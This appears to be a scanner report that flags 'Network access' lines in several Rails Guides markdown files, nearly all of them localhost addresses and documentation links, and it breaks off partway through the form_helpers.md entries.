    We can start a Rails application using the `bin/rails server` command, which launches the [Puma](https://github.com/puma/puma) web server that comes bundled
  • Network accessline 243
    launches the [Puma](https://github.com/puma/puma) web server that comes bundled
  • Network accessline 257
    *  Environment: development *          PID: 5295 * Listening on http://127.0.0.1:3000
  • Network accessline 258
    *          PID: 5295 * Listening on http://127.0.0.1:3000 * Listening on http://[::1]:3000
  • Network accessline 259
    * Listening on http://127.0.0.1:3000
  • Network accessline 260
    * Listening on http://[::1]:3000
  • Network accessline 264
    With just two commands we have a Rails application up and running. The `server` command starts the application listening on port 3000 by default. You can open your browser to [http://localhost:3000](http://localhost:3000) to see a basic
  • Network accessline 265
    command starts the application listening on port 3000 by default. You can open your browser to [http://localhost:3000](http://localhost:3000) to see a basic Rails application running.
  • Network accessline 266
    your browser to [http://localhost:3000](http://localhost:3000) to see a basic
  • Network accessline 393
    Then, we can start the Rails server, with `bin/rails server`, and go to the added route [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello)
  • Network accessline 394
    added route [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello) to see the message.
  • Network accessline 395
    [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello)
  • Network accessline 427
    NOTE: For a list of available field types for the `type` parameter, refer to the [API documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column).
  • Network accessline 428
    [API documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column). The `index` parameter generates a corresponding index for the column. If you
  • Network accessline 429
    documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column).
  • Network accessline 516
    (see [Managing the Database](#managing-the-database) for more on that command). Then, if you start the Rails server with `bin/rails server` and navigate to [http://localhost:3000/posts](http://localhost:3000/posts), you will be able to
  • Network accessline 517
    Then, if you start the Rails server with `bin/rails server` and navigate to [http://localhost:3000/posts](http://localhost:3000/posts), you will be able to interact with the `post` resource - see a list of posts, create new posts, as
  • Network accessline 518
    [http://localhost:3000/posts](http://localhost:3000/posts), you will be able to
  • Network accessline 844
    [`ActiveSupport::Executor`]:   https://api.rubyonrails.org/classes/ActiveSupport/Executor.html
  • Network accessline 845
    https://api.rubyonrails.org/classes/ActiveSupport/Executor.html
  • Network accessline 922
    TIP: In development mode, you can also access the same routes info by going to `http://localhost:3000/rails/info/routes`
  • Network accessline 923
    `http://localhost:3000/rails/info/routes`

packages/autoskills/skills-registry/rails-guides/references/configuring.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 51
    NOTE: If you need to apply configuration directly to a class, use a [lazy load hook](https://api.rubyonrails.org/classes/ActiveSupport/LazyLoadHooks.html) in an initializer to avoid autoloading the class before initialization has completed.
  • Network accessline 57
    [`config.load_defaults`]: https://api.rubyonrails.org/classes/Rails/Application/Configuration.html#method-i-load_defaults
  • Network accessline 395
    Using `ActiveSupport::EventedFileUpdateChecker` depends on the [listen](https://github.com/guard/listen) gem:
  • Network accessline 403
    On Linux and macOS no additional gems are needed, but some are required [for *BSD](https://github.com/guard/listen#on-bsd) and
  • Network accessline 404
    [for *BSD](https://github.com/guard/listen#on-bsd) and
  • Network accessline 405
    [for Windows](https://github.com/guard/listen#on-windows).
  • Network accessline 407
    Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations).
  • Network accessline 511
    [`ActiveSupport::ParameterFilter.precompile_filters`]: https://api.rubyonrails.org/classes/ActiveSupport/ParameterFilter.html#method-c-precompile_filters
  • Access to secretsline 546
    [Credential-related source omitted]
  • Network accessline 567
    It is recommended to leave this unset, and instead to specify a `secret_key_base` in `config/credentials.yml.enc`. See the [`secret_key_base` API documentation]( https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key
  • Network accessline 568
    in `config/credentials.yml.enc`. See the [`secret_key_base` API documentation]( https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key_base) for more information and alternative configuration methods.
  • Network accessline 569
    https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key_base)
  • Network accessline 617
    Configuration options for the [`ActionDispatch::SSL`](https://api.rubyonrails.org/classes/ActionDispatch/SSL.html) middleware.
  • Network accessline 827
    [`Server-Timing`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing
  • Network accessline 1041
    [ActiveModel::Error#full_message]: https://api.rubyonrails.org/classes/ActiveModel/Error.html#method-i-full_message
  • Network accessline 1587
    it then considers them as string literals. Because of this, typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quot
  • Network accessline 1589
    See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.
  • Network accessline 1779
    [`Rails.application.message_verifiers`]: https://api.rubyonrails.org/classes/Rails/Application.html#method-i-message_verifiers
  • Network accessline 1780
    [ActiveSupport::MessageVerifiers#rotate]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifiers.html#method-i-rotate
  • Network accessline 1781
    [ActiveSupport::MessageVerifiers#prepend]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifiers.html#method-i-prepend
  • Network accessline 2016
    that requests originate from the same site. Requests without a valid header are rejected.   This is simpler and more secure but only works with browsers that support the   [Fetch Metadata Request Headers](https://developer.mozilla.org/en-US
  • Network accessline 2018
    [Fetch Metadata Request Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site).
  • Network accessline 2124
    [redirect_to]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to
  • Network accessline 2198
    [params_wrapper]: https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
  • Network accessline 2207
    Configures the [`ParamsWrapper`](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html). This can be called at
  • Network accessline 2266
    [`ActionDispatch::DebugExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/DebugExceptions.html
  • Network accessline 2667
    Specifies a default value for the `loading` attribute of `<img>` tags rendered by the `image_tag` helper. For example, when set to `"lazy"`, `<img>` tags rendered by `image_tag` will include `loading="lazy"`, which [instructs the browser to
  • Network accessline 2840
    Additionally, it is possible to pass any [configuration option `Mail::SMTP` respects](https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/smtp.rb).
  • Network accessline 3054
    roundtripping some Ruby types that are not supported by JSON, such as `Symbol`. They can also provide improved performance and smaller payload sizes. However, they require the [`msgpack` gem](https://rubygems.org/gems/msgpack).
  • Network accessline 3056
    they require the [`msgpack` gem](https://rubygems.org/gems/msgpack).
  • Network accessline 3076
    [`ActiveSupport::MessageEncryptor`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html
  • Network accessline 3077
    [`ActiveSupport::MessageVerifier`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html
  • Network accessline 3127
    [deprecation_behavior]: https://api.rubyonrails.org/classes/ActiveSupport/Deprecation/Behavior.html#method-i-behavior-3D
  • Network accessline 3144
    When `false`, disables all deprecation warnings, including disallowed deprecations, from the [application’s deprecators](https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators). This includes all the deprecations fr
  • Network accessline 3186
    [`ActiveSupport::TimeZone.utc_to_local`]: https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html#method-i-utc_to_local
  • Network accessline 3204
    [ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
  • Network accessline 3205
    [ActiveSupport::Cache::Store#write]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-write
  • Network accessline 3242
    Historically these characters were not valid inside JavaScript literal strings but that changed in ECMAScript 2019. As such it's no longer a concern in modern browsers: https://caniuse.com/mdn-javascript_builtins_json_json_superset.
  • Network accessline 3243
    As such it's no longer a concern in modern browsers: https://caniuse.com/mdn-javascript_builtins_json_json_superset.
  • Network accessline 3258
    Sets the adapter for the queuing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
  • Network accessline 3601
    [`ActiveStorage::Blob#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-url
  • Network accessline 3602
    [`ActiveStorage::Blob#service_url_for_direct_upload`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-service_url_for_direct_upload
  • Network accessline 3603
    [`ActiveStorage::Preview#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Preview.html#method-i-url
  • Network accessline 3604
    [`ActiveStorage::Variant#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Variant.html#method-i-url
  • Network accessline 3672
    default to _replacing_ the current collection instead of _appending_ to it. Thus to support submitting an _empty_ collection, when `multiple_file_field_include_hidden` is `true`, the [`file_field`](https://api.rubyonrails.org/classes/Action
  • Network accessline 3673
    to support submitting an _empty_ collection, when `multiple_file_field_include_hidden` is `true`, the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field) helper will render an auxiliar
  • Network accessline 3674
    is `true`, the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field)
  • Network accessline 3675
    helper will render an auxiliary hidden field, similar to the auxiliary field rendered by the [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) helper.
  • Network accessline 3676
    rendered by the [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox)
  • Network accessline 3725
    See Ruby's documentation for [`Regexp.timeout=`](https://docs.ruby-lang.org/en/master/Regexp.html#method-c-timeout-3D).
  • Network accessline 3874
    Rails comes with built-in support for [SQLite3](https://www.sqlite.org), which is a lightweight serverless database application. While Rails better configures SQLite for production workloads, a busy production environment may overload SQLit
  • Network accessline 3886
    [SQLite extensions](https://sqlite.org/loadext.html) are supported when using `sqlite3` gem v2.4.0 or later by configuring `extensions`:
  • Network accessline 3897
    Many useful features can be added to SQLite through extensions. You may wish to browse the [SQLite extension hub](https://sqlpkg.org/) or use gems like [`sqlpkg-ruby`](https://github.com/fractaledmind/sqlpkg-ruby) and [`sqlean-ruby`](https:
  • Network accessline 3899
    Other configuration options are described in the [SQLite3Adapter documentation]( https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html).
  • Network accessline 4096
    Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdir
  • Network accessline 4104
    One such application server you can use is [Unicorn](https://bogomips.org/unicorn/) to run behind a reverse proxy.
  • Network accessline 4108
    You can find more information in the [Unicorn readme](https://bogomips.org/unicorn/README.html) and understand the [philosophy](https://bogomips.org/unicorn/PHILOSOPHY.html) behind it.
  • Network accessline 4127
    proxy_set_header Host $http_host;     proxy_redirect off;     proxy_pass http://application_server;
  • Network accessline 4128
    proxy_redirect off;     proxy_pass http://application_server;   }
  • Network accessline 4129
    proxy_pass http://application_server;
  • Network accessline 4136
    Be sure to read the [NGINX documentation](https://nginx.org/en/docs/) for the most up-to-date information.
  • Network accessline 4476
    [`Rails.application.deprecators`]: https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators
  • Network accessline 4508
    [`ActiveRecord::ConnectionAdapters::ConnectionPool`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html
  • Network accessline 4589
    Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the `http://your-site.com/robots.txt` file to
  • Network accessline 4590
    on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the `http://your-site.com/robots.txt` file to know which pages it is allowed to index.
  • Network accessline 4591
    these sites will first analyze the `http://your-site.com/robots.txt` file to
  • Network accessline 4603
    To block just specific pages, it's necessary to use a more complex syntax. Learn it on the [official documentation](https://www.robotstxt.org/robotstxt.html).
  • Network accessline 4604
    it on the [official documentation](https://www.robotstxt.org/robotstxt.html).

packages/autoskills/skills-registry/rails-guides/references/debugging_rails_applications.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 191
    ↳ app/controllers/articles_controller.rb:31 The article was saved and now the user is going to be redirected... Redirected to http://localhost:3000/articles/1
  • Network accessline 192
    The article was saved and now the user is going to be redirected... Redirected to http://localhost:3000/articles/1 Completed 302 Found in 4ms (ActiveRecord: 0.8ms)
  • Network accessline 193
    Redirected to http://localhost:3000/articles/1
  • Network accessline 258
    Redirected to http://localhost:3000/posts/1
  • Network accessline 273
    SQL statements can be commented with tags containing runtime information, such as the name of the controller or job, to trace troublesome queries back to the area of the application that generated these statements. This is useful when you a
  • Network accessline 274
    trace troublesome queries back to the area of the application that generated these statements. This is useful when you are logging slow queries (e.g. [MySQL](https://dev.mysql.com/doc/refman/en/slow-query-log.html), [PostgreSQL](https://www
  • Network accessline 275
    logging slow queries (e.g. [MySQL](https://dev.mysql.com/doc/refman/en/slow-query-log.html), [PostgreSQL](https://www.postgresql.org/docs/current/runtime-config-logging.html#GUC-LOG-MIN-DURATION-STATEMENT)),
  • Network accessline 284
    By default the name of the application, the name and action of the controller, or the name of the job are logged. The default format is [SQLCommenter](https://open-telemetry.github.io/opentelemetry-sqlcommenter/). For example:
  • Network accessline 285
    default format is [SQLCommenter](https://open-telemetry.github.io/opentelemetry-sqlcommenter/). For example:
  • Network accessline 293
    The behavior of [`ActiveRecord::QueryLogs`](https://api.rubyonrails.org/classes/ActiveRecord/QueryLogs.html) can be
  • Network accessline 342
    INFO: This section was written by [Jon Cairns at a Stack Overflow answer](https://stackoverflow.com/questions/16546730/logging-in-rails-is-there-any-performance-hit/16546935#16546935)
  • Network accessline 343
    and it is licensed under [cc by-sa 4.0](https://creativecommons.org/licenses/by-sa/4.0/).
  • Network accessline 359
    Rails 7 includes the `debug` gem in the `Gemfile` of new applications generated by CRuby. By default, it is ready in the `development` and `test` environments. Please check its [documentation](https://github.com/ruby/debug) for usage.
  • Network accessline 361
    Please check its [documentation](https://github.com/ruby/debug) for usage.
  • Network accessline 447
    @_config = {} @_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
  • Network accessline 448
    @_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> @_response = #<ActionDispatch::Response:0x00007fd91
  • Network accessline 449
    @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
  • Network accessline 715
    Stop by #0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =  -> ["<html><body>You are being <a href=\"http://localhost:3000/posts/13\">redirected</a>.</body></html>"]
  • Network accessline 753
    @_config = {} @_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
  • Network accessline 754
    @_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> @_response = #<ActionDispatch::Response:0x00007fce3
  • Network accessline 755
    @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
  • Network accessline 809
    You can find more commands and configuration options from its [documentation](https://github.com/ruby/debug).
  • Network accessline 877
    [Valgrind](http://valgrind.org/) is an application for detecting C-based memory
  • Network accessline 885
    For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](https://web.archive.org/web/20230518081626/https://blog.evanweaver.com/2008/02/05/valgrind-and-ruby/)
  • Network accessline 886
    [Valgrind and Ruby](https://web.archive.org/web/20230518081626/https://blog.evanweaver.com/2008/02/05/valgrind-and-ruby/)
  • Network accessline 891
    There is an excellent article about detecting and fixing memory leaks at Derailed, [which you can read here](https://github.com/schneems/derailed_benchmarks#is-my-app-leaking-memory).
  • Network accessline 900
    * [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query
  • Network accessline 901
    origin tracing to your logs. * [Exception Notifier](https://github.com/kmcphillips/exception_notification/tree/main)   Provides a mailer object and a default set of templates for sending email
  • Network accessline 902
    * [Exception Notifier](https://github.com/kmcphillips/exception_notification/tree/main)
  • Network accessline 903
    Provides a mailer object and a default set of templates for sending email   notifications when errors occur in a Rails application. * [Better Errors](https://github.com/charliesome/better_errors) Replaces the
  • Network accessline 904
    notifications when errors occur in a Rails application. * [Better Errors](https://github.com/charliesome/better_errors) Replaces the   standard Rails error page with a new one containing more contextual information,
  • Network accessline 905
    * [Better Errors](https://github.com/charliesome/better_errors) Replaces the
  • Network accessline 906
    standard Rails error page with a new one containing more contextual information,   like source code and variable inspection. * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails
  • Network accessline 907
    like source code and variable inspection. * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails   development that will end your tailing of development.log. Have all information
  • Network accessline 908
    * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails   development that will end your tailing of development.log. Have all information   about your Rails app requests in the browser — in the Developer Tools panel.
  • Network accessline 911
    Provides insight to db/rendering/total times, parameter list, rendered views and   more. * [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console.
  • Network accessline 913
    * [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console.
  • Network accessline 918
    * [web-console Homepage](https://github.com/rails/web-console)
  • Network accessline 919
    * [debug homepage](https://github.com/ruby/debug)

packages/autoskills/skills-registry/rails-guides/references/engines.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 25
    functionality and integrate with a larger Rails application. An engine extends a [plugin](plugins.html), with the [`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class
  • Network accessline 26
    [plugin](plugins.html), with the [`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class [inheriting](engines.html#the-inheritance-hierarchy) behavior from
  • Network accessline 27
    [`Rails::Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html) class
  • Network accessline 29
    [`Rails::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html).
  • Network accessline 33
    * [Devise](https://github.com/heartcombo/devise) which provides authentication
  • Network accessline 34
    for its parent applications * [Thredded](https://github.com/thredded/thredded) which provides forum   functionality
  • Network accessline 35
    * [Thredded](https://github.com/thredded/thredded) which provides forum
  • Network accessline 36
    functionality * [Refinery CMS](https://github.com/refinery/refinerycms) which provides a CMS   engine
  • Network accessline 37
    * [Refinery CMS](https://github.com/refinery/refinerycms) which provides a CMS
  • Network accessline 38
    engine * [Active Storage](https://github.com/rails/rails/tree/main/activestorage) which   provides file storage as an engine.
  • Network accessline 39
    * [Active Storage](https://github.com/rails/rails/tree/main/activestorage) which
  • Network accessline 40
    provides file storage as an engine. * [Action Text](https://github.com/rails/rails/tree/main/actiontext) which   provides a rich text editor as an engine.
  • Network accessline 41
    * [Action Text](https://github.com/rails/rails/tree/main/actiontext) which
  • Network accessline 42
    provides a rich text editor as an engine. * [`Rails::Application`](https://api.rubyonrails.org/classes/Rails/Application.html)   inheriting much of its behavior from `Rails::Engine`.
  • Network accessline 43
    * [`Rails::Application`](https://api.rubyonrails.org/classes/Rails/Application.html)
  • Network accessline 54
    At the base of this hierarchy, [`Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html) is the core
  • Network accessline 55
    [`Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html) is the core
  • Network accessline 61
    The [`Rails Engine`](https://api.rubyonrails.org/classes/Rails/Engine.html)
  • Network accessline 66
    While an engine is packaged like a miniature Rails application, it runs inside a host Rails application. The host [Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html)
  • Network accessline 67
    host Rails application. The host [Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html) coordinates boot, executes engine initializers, and builds the overall
  • Network accessline 68
    [Rails::Application](https://api.rubyonrails.org/classes/Rails/Application.html)
  • Network accessline 588
    When you open `http://localhost:3000/blorgh/articles` you will see the default
  • Network accessline 616
    Now you will only need to go to the root of the engine to see all the articles, rather than visiting `/articles`. This means that instead of visiting `http://localhost:3000/blorgh/articles`, you can now go to
  • Network accessline 617
    rather than visiting `/articles`. This means that instead of visiting `http://localhost:3000/blorgh/articles`, you can now go to `http://localhost:3000/blorgh`.
  • Network accessline 618
    `http://localhost:3000/blorgh/articles`, you can now go to
  • Network accessline 619
    `http://localhost:3000/blorgh`.
  • Network accessline 891
    This mounts the engine at the `/blog` path, making its routes accessible at `http://localhost:3000/blog` when the application is running.
  • Network accessline 892
    `http://localhost:3000/blog` when the application is running.
  • Network accessline 968
    NOTE: These tasks are provided by [`ActiveRecord::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html),
  • Network accessline 969
    [`ActiveRecord::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html),
  • Network accessline 1003
    Once you've run the migrations, you can access the engine through `http://localhost:3000/blog`.
  • Network accessline 1004
    `http://localhost:3000/blog`.
  • Network accessline 1160
    Now that you've associated the `author_name` from the engine to the `User` model in the host application, you can go to the form in the host application at `http://localhost:3000/blog/articles/new` and create an article with an author
  • Network accessline 1161
    in the host application, you can go to the form in the host application at `http://localhost:3000/blog/articles/new` and create an article with an author name that will create and link to a `User` record in the host application.
  • Network accessline 1162
    `http://localhost:3000/blog/articles/new` and create an article with an author
  • Network accessline 1234
    To define this configuration setting, you should use a [`mattr_accessor`](https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor)
  • Network accessline 1235
    [`mattr_accessor`](https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor)
  • Network accessline 1429
    memory, which would be incorrect because the definition lives in the engine. Using [`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval)
  • Network accessline 1430
    Using [`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval) as shown above ensures you are reopening an existing module.
  • Network accessline 1431
    [`class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval)
  • Network accessline 1436
    While [`Class#class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval)
  • Network accessline 1437
    [`Class#class_eval`](https://api.rubyonrails.org/classes/Module.html#method-i-class_eval)
  • Network accessline 1439
    modifications—especially those involving multiple modules with dependencies—are often better handled using [`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
  • Network accessline 1440
    often better handled using [`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html). It provides a structured way to define module behavior and dependencies,
  • Network accessline 1441
    [`ActiveSupport::Concern`](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).

packages/autoskills/skills-registry/rails-guides/references/error_reporting.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 18
    The Rails [error reporter](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html)
  • Network accessline 19
    reporter](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html)
  • Network accessline 58
    [Rack](rails_on_rack.html) middleware or do any monkey-patching to capture unhandled errors. Libraries that use [Active Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use
  • Network accessline 59
    unhandled errors. Libraries that use [Active Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use this to non-intrusively report warnings that would previously have been lost in
  • Network accessline 60
    Support](https://api.rubyonrails.org/classes/ActiveSupport.html) can also use
  • Network accessline 89
    After defining the subscriber class, you can register it by calling the [`Rails.error.subscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-subscribe)
  • Network accessline 90
    [`Rails.error.subscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-subscribe)
  • Network accessline 100
    It is also possible to unregister a subscriber by calling [`Rails.error.unsubscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unsubscribe).
  • Network accessline 101
    [`Rails.error.unsubscribe`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unsubscribe).
  • Network accessline 130
    The [`Rails.error.handle`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-handle)
  • Network accessline 131
    [`Rails.error.handle`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-handle)
  • Network accessline 155
    The [`Rails.error.record`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-record)
  • Network accessline 156
    [`Rails.error.record`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-record)
  • Network accessline 172
    You can also manually report errors by calling [`Rails.error.report`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-report):
  • Network accessline 173
    [`Rails.error.report`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-report):
  • Network accessline 187
    You can report any unexpected error by calling [`Rails.error.unexpected`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unexpected").
  • Network accessline 188
    [`Rails.error.unexpected`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-unexpected").
  • Network accessline 238
    In addition to setting context through the `context` option, you can use [`Rails.error.set_context`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-set_context).
  • Network accessline 239
    [`Rails.error.set_context`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-set_context).
  • Network accessline 274
    You can prevent a subscriber from being notified of errors for the duration of a block by calling [`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable).
  • Network accessline 275
    block by calling [`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable). Similarly to `subscribe` and `unsubscribe`, you can pass in either the
  • Network accessline 276
    [`Rails.error.disable`](https://api.rubyonrails.org/classes/ActiveSupport/ErrorReporter.html#method-i-disable).
  • Network accessline 292
    Error-reporting libraries can register their subscribers in a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html):
  • Network accessline 293
    [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html):

packages/autoskills/skills-registry/rails-guides/references/form_helpers.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 20
    This guide is not intended to be a complete list of all available form helpers. Please refer to [the Rails API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers.html) for an exhaustive list of form helpers and their argu
  • Network accessline 25
    The main form helper is [`form_with`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with).
  • Network accessline 78
    The search form example above also shows the [form builder](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html) object. You will learn about the many helpers provided by the form builder object (like `form.label` and `f
  • Network accessline 98
    When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in the [Form Input Naming
  • Network accessline 126
    The first parameter to [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) is the name of the input which can be found in the `params` hash. If the user has checked the "Biography" checkbo
  • Network accessline 138
    The checkbox's values (the values that will appear in `params`) can optionally be specified using the `checked_value` and `unchecked_value` parameters. See the [API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormH
  • Network accessline 168
    The second argument to [`radio_button`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-radio_button) is the value of the input. Because these radio buttons share the same name (`flavor`), the user will only
  • Network accessline 360
    `form_with`. The `fields_for` helper creates a similar binding but without rendering a `<form>` tag. You can learn more about `fields_for` in the [API docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-fi
  • Network accessline 362
    docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-fields_for).
  • Network accessline 384
    Notice how the short-hand `form_with` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking [`record.persisted?`](https://api.
  • Network accessline 465
    [formmethod]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-formmethod
  • Network accessline 466
    [button-name]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-name
  • Network accessline 467
    [button-value]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-value
  • Network accessline 474
    For example, let's say we have a list of cities for the user to choose from. We can use the [`select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-select) helper:
  • Network accessline 643
    In addition to the [`date_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-date_select) helper, Rails provides [`time_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#
  • Network accessline 647
